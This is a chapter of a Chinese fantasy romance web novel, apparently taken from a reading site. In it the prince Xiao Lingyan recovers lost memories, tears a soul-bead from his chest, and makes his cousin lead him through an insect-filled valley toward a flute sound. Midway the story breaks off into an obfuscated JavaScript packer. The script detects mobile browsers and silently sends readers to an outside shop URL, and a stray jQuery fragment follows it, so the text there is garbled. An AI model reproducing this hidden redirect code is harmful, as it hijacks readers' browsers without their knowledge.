42.复忆
作品:《给仇人喂下情蛊后》 “萧珺……”萧凌晏一时怔愣,秦协口中吐出的这个名字,分明是头一回听,却恍如曾深刻于他骨髓,如今仅是简单提起,便叫他骨缝里头渗出一股痒痛。
秦协突然从墙根缓缓站了起来,写满惊愕的眼几乎黏在他怀里搂着的那孩子身上:“殿下,他这,这,是不是变小了?”
萧凌晏眼皮一紧,垂眸一瞧,果然,一个时辰前裁剪合身的衣物又大了许多,衣裳下摆悠悠随风晃荡,袖管空了半截,灵活缠绞着萧凌晏发尾的指头不再动弹,他脸也被衣物吞没,只剩一对眼睛露在外头,灰暗无光,如石雕上未经抛光打磨的一道刻纹。萧凌晏忙在他眼前晃了晃手,好么,如今连眨眼的反应都无了。
不仅如此,他还在飞快变小,原还能抱住他,很快便只能单手抓着,小到不足人的手臂长,将将同人的巴掌一般大。到了这份上,已然无法再把他当作活人看待了,苍白肤表毫无人皮纹理,光滑冰冷,俨然已是一樽了无生机的石雕。
秦协一对眼珠子几乎要脱眶而出,活人变成石雕?这……他迟疑地看向萧凌晏,却见对方脸色其差,可怖之极。
他不禁打了个寒颤,他知他这表弟人前素不苟言笑,暴躁阴郁,可这么难看的脸色,还是头回见。
“殿下……”他不禁开口,萧凌晏却突然一拳砸在墙上,咔嚓一声,墙面炸开大圈龟裂,秦协浑身一个激灵,登时闭了嘴,只一旁偷偷打量。
他还道人又是在发怒,但很快他发觉对方用力捂着的额角下绽开青筋,冷汗密布,分明是痛得厉害。
萧凌晏攥紧掌心石雕,又一次头痛欲裂。
凌碎的画面如一柄锋利薄刃,撬开他的颅骨,在颅内胡搅。他好像曾握着一块鹅卵石,指尖锐光闪烁,石屑纷飞,将卵石雕成石雕小人,他握着小人得意洋洋地对着谁说过:“我要用最卑贱的石料,为你雕一具最放浪的身躯。”
他似乎也曾扯着那人的衣领,咬牙切齿地对着他忿忿怒喝,“是我为你重铸肉身,是我让你捡回一条命,你岂敢如此待我?”
那人说了什么来着?
萧凌晏发狠摁住突突直跳的额角,耳中阵阵嗡鸣。
他想起来了。
那人说:“都还给你。”
这具用来羞辱人的躯壳也好,那颗强留住他魂魄的珠子也罢,这么多年的爱恨纠葛,这强行延续的命,他从不想要,都要还给他,都已还给他。
他死死盯着石雕,面色愈发扭曲。突然,他伸手探入胸膛,摸索着生生挖出一枚珠子,珠表染血,笼着柔和冷光,寒气逼人,映得巷尾这狭窄区域幽蓝一片,四周墙面,地砖,皆覆上一层雪白寒霜。
珠子离体瞬间,胸口再度剧痛,一度偃旗息鼓的恶咒死灰复燃,连同他失而复得的记忆一齐,疯狂折磨着他的身心灵。
他站不稳,喘不过气,剧痛似长针从他的头顶贯穿至他心脏,他仿佛回到前世,在那人洞府里,在温暖床榻上痛得抽搐打滚,艰难嚼着草药,将自己埋进被褥间,贪婪嗅着枕褥上仅余丝缕的冷香,仿佛被那人搂在怀里,靠这样的幻想熬过一轮轮折磨。
可如今他手里仅剩的不过一具石雕,一块冰冷无味的石头,那个曾为他承过恶咒,曾任他索取之人,残忍无情地不带一丝牵挂离他而去,却又颇有余情似的将一切留给了他。
求生的本能逼着他吞回珠子,但他咬着牙,硬是将珠子牢牢握在掌心,几欲将其捏碎。他不想再忘,不想再由着那人摆布。他如何看不出珠子表面的幽光是谁的手笔,他想象不出他是如何在珠子表面留下如此精细封印的,叫他记得一切,偏偏只忘了他。
剧痛难耐,但他思绪空前清明。难怪那日醒后他便没再因恶咒而痛,心口只余阵阵寒凉,难怪再寻到萧珺时他的魂魄残破,珠子也仅余一半,谁能想到这人能疯到这地步,无法替他承咒,便割舍魂魄,送这东西到他体内,为他压制咒力?
他想起擎雨宫那夜,他昏迷前萧珺主动送上来的那个冷淡的吻,是那时将余下的部分还给他的吧,他居然还以为是……他摩挲着业已完整的珠子,两半都还给了他,那他剩下的魂魄呢?
他忽哑然失笑,原来如此。
难怪从头到尾那么平静,那般毫不在乎,原来早盘算好了,早已决定同他断了一切瓜葛,用这么独断狠绝的方式。
他愤怒,却止不住笑,谁让他这么自作主张了?他怎么总这么自以为是?
分明是爱他的吧,否则何至于一而再再而三做到这份上?可既如此,为什么又要他忘,又什么都不告诉他,要憎恨地斥骂他,要一遍遍推开他,要冷眼看他狂怒痛苦?
他凭什么让他忘?既然要他不记得他,何必将这具躯壳还给他?是对他的报复?让他对这具长着他模样的死物魂牵梦萦,将它视作这诡异世界中唯一的希望与锚点,随后在他最猝不及防时撕毁一切幻想,将他丢入残酷现实,告诉他这不过是一具石雕。
为何这么折磨他?人怎能多情却又绝情到这地步?
“……”秦协震惊盯着眼前一幕,狠狠掐了自己一把,生疼,不是做梦,这人真把手直直插进自己心窝了,甚至在里头摸索了一阵,又没事人一样抓着什么东西抽回了手,这真的……是人能做出的举动?
珠子表面的幽光同样落在萧凌晏的面上,显得阴气森森,更别说他突然开始笑,笑声愈来愈癫狂,血淋淋的手和胸口不断往外淌着猩红,即便此时正午时分,日头高照,秦协依旧浑身冰冷,心底攀起寒意,他鲜少见他笑,更别说如此失控地大笑。
他毛骨悚然,心头惧意油生,他其实算不得胆小,随父兄沙场征战多年,什么大场面没经历过?但话又说回来,这场面他是真没见过。
怎么办,跑是不跑?他心头两个声音在打架,一者说:笑话,这一个两个的瞧着都不人不鬼,此时不跑更待何时?另一人说:这可是咱老秦家未来君主,是我一半的手足,岂能放任他流血致死!
或许是萧凌晏终于没再发出那种叫人寒毛倒竖的惨笑,只静静靠在墙边发愣,瞧上去正常了几分,叫他胆子稍大了些,他纠结片刻,终是后者占了上风。他挪着步子上前,没走几步,忽僵立原地,惊恐瞪着靠着墙沉默不语的萧凌晏:他的眼睛竟突然变成金色,瞳孔居然还是竖着的!
亲娘哎!这真的不是人!
秦协蹭蹭后退几步,与之对视一瞬,忽转身拔腿就跑。身体刚探出巷子半截,领后便传来一股巨力,将他拽了回去。
萧凌晏阴着脸,暗金竖瞳几乎怼到他脸上:“你跑什么?”
秦协怪叫:“妖怪!放开我!”
“……”萧凌晏无心遮掩不同于人的瞳孔,寒声逼问:“你方才说,在虫谷曾见过他,何时,何地?”
他已感应不到那具傀儡,想是他伏在人身上睡过去后那虫谷里头又发生了些什么,而今知晓的人,竟是只有秦协。
他浑身气势实在骇人,秦协顿觉自己如遇上狮虎的鼠,壮起浑身胆子也不过色厉内荏:“你,你这妖物!你把我表弟如何了?你怎敢假冒他?你……”他声音有些哆嗦,眼前人的神色瞧着已愈发不耐烦,怕是下一瞬便要气血上头,将他撕碎。
“假冒?”萧凌晏冷笑:“你六岁那年的除夕吃坏了肚子,急匆匆带着烟花如厕,不慎炸了茅房,溅了一身,十岁那年和宫人玩火烧了衣物,左臀留了一块疤,至今见火还会痒,十五岁看上左相家千金,冲动和齐家二子约下战书,事后听说人身高八丈,重逾两百斤,由是不敢出战,刻意摔断腿,养了三个月,求我乔装代你出面斗武,如何,可还要我继续说下去?”
“……够了够了。”秦协捂脸,脸窘得发红,这几桩事只有他和萧凌晏本人知晓,再这么下去他这辈子的糗事怕是都要被抖落干净。
他信了这就是萧凌晏,可还是忍不住问:“可你的眼睛,为什么?还有你这,”他瞄了眼萧凌晏胸口飞快愈合的伤口,喃喃道:“你该不会才一开始就不是人吧?”若真如此,倒是能解释很多了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865764|186286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“少废话。”
“是,是,我说便是。”秦协缩了缩脖子,老老实实道:“你问我何时看见他的,算起来已是一个月前,我们那时还困在那山谷里头。但我也不确定他那状态是不是人,非要说其实只是个虚影,每日重复地在同一时刻经过我们所在的那处山洞,我们一开始还以为是什么鬼灵,骇得慌,久了便发现他根本就没往我们这儿瞧过,我们试图同他搭话,他也从未回应,只每日固定从我们跟前飘过,又穿墙离开。我们一开始没打算跟着他,因为他穿墙走的,想也跟不过去,于是还是在自己寻路,但很快口粮吃完了,依旧没能出去,实在受不了,便想着死马当活马医,大不了撞死在墙上,早死早超生,可没想到居然真从墙里头穿了过去,回了地上。”
“具体何处可还记得?”
秦协轻轻摇头:“我们刚逃出来回路便断了,若要再回去,怕是只有得炸山开路,可那样一来,恐怕更难辨清路线。”
萧凌晏不甘心:“一点线索都无?”
“嗯……”秦协忽啊了一声,“我想起来了,“萧声,是萧声,我们是循着箫声走才误入那处山谷的。”
箫声?萧凌晏微愣,他的傀儡,怎的不曾听见箫声?
“只你听见了?”
“不,”秦协摇头:“除了阿四,我们都听见了。”
阿四便是萧凌晏派去的那具傀儡,它听不见的箫声,其余凡人却听得见,是只有活物听得见,还是……独独不想他听见罢了?
他松开秦协的后领:“很好。”
秦协刚松了口气,整个人便突然凌空而起,呼呼刮来的风割得他面颊生疼。
老天!我飞起来了!他震惊得合不拢嘴,咵咵给自己来几个耳刮子,疼得呲牙咧嘴。亲娘咧,居然是真的!
他心惊胆跳地低头,险些两眼一翻撅过去,他竟是踩在一朵云上,底下的建筑竟是只有指甲盖大,且正以极快的速度往后掠去,“这,这要是摔下去,不得粉身碎骨?”
“别低头。”
秦协环顾四周,只闻声,不见人,他哆哆嗦嗦地问:“殿下你在哪儿呢?”
“再动就把你丢下去。”
他忙绷紧身躯,蜷身缩在云中心不敢动,面上已是欲哭无泪:“殿下,您可能忘了,我是个凡人来着,腾云驾雾,实在无福消受……啊啊啊!”
话音刚落,身下云层忽以极快的速度俯冲向下,他这辈子没想到自己的嗓子能发出如此高亢的尖叫,脚终于得以踩在地面时,他直接腿软地跪倒在地,顺势亲吻大地。果然,凡人还是得接地气才能活啊。
他正为自己尚还活拜谢苍天,叩跪土地,又被不轻不重踢了一脚:“起来,带路。”
秦协敢怒不敢言,不都说了跟着箫声走么,山谷里就这么一种声响,还愁寻不到?
但萧凌晏的确听不见任何箫声,他的神识扫遍偌大虫谷的角角落落,也不见那人的只形片影。
他却还是存了些希冀,毕竟秦协说见过他的。而且,虫谷四季常绿,植被丰茂,物种繁多,比起银装素裹的深宫,更显生机勃勃。那人喜欢自然万物,当然也会喜欢虫谷,说不定就被虫谷盎然生机迷住,舍不得走了呢?
实在可笑,他竟也有这么一天,求一个虚无缥缈的“说不定”。胸口的剧痛逐渐麻木,眼前一阵阵眩晕,分不清是自己行得蹒跚摇晃,还是天地在转悠。他如此狼狈,如此痛苦,那人为何还不现身?他不是心疼他,看不得他受痛,非要什么都自己抗么?为何他都这副德行了,他还不出来?
他逐渐暴躁,失了耐性:“还有多远?”
“快了,快了。”秦协寻得却轻松,走了一段便停下侧耳听一会儿,接着微微点头,“对,是往这儿。殿下您瞧,那些蝶虫蚁兽,也循着箫声往前呢。”
萧凌晏听不见,也瞧不见,虫谷里只有一成不变,叫人烦躁的绿,他心头愈发鬼火直冒,好么,除了他,谁都听得见,都瞧得见,连蚂蚁都行,偏偏就他不行。

